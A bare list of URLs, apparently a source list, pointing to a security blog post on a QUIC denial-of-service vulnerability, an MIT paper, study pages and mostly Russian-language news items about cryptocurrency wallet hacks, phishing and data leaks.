- https://www.imperva.com/blog/quic-leak-cve-2025-54939-new-high-risk-pre-handshake-remote-denial-of-service-in-lsquic-quic-implementation/
- https://studfile.net/preview/5823048/page:6/
- https://dspace.mit.edu/bitstream/handle/1721.1/146226/3372115.pdf?sequence=1&isAllowed=y
- https://studfile.net/preview/11187192/page:3/
- https://support.ledger.com/ru/article/7624842382621-zd
- https://www.rbc.ru/crypto/news/6825e0a39a79471a4d8ac746
- https://forklog.com/news/vymogateli-kriptovalyut-na-polmilliarda-utechka-iz-prilozheniya-dlya-znakomstv-i-drugie-sobytiya-kiberbezopasnosti
- https://www.block-chain24.com/news/novosti-bezopasnosti/bitkoiner-poteryal-91-mln-v-hode-ataki-s-ispolzovaniem-socialnoy
- https://phemex.com/ru/news/article/private_key_breach_affects_nearly_200_wallets_cause_unknown_10001
- https://securitymedia.org/news/hakery-atakovali-telegram-wallet-polzovateli-poteryali-dengi-iz-za-fishinga.html
- https://vc.ru/crypto/1599680-kak-hakery-popytalis-vzlomat-kriptokoshelki-ledger-i-pochemu-u-nih-nichego-ne-poluchilos
- https://www.ixbt.com/live/crypto/masshtabnaya-utechka-dannyh-pod-ugrozoy-tysyachi-uchastnikov-kriptokonferenciy.html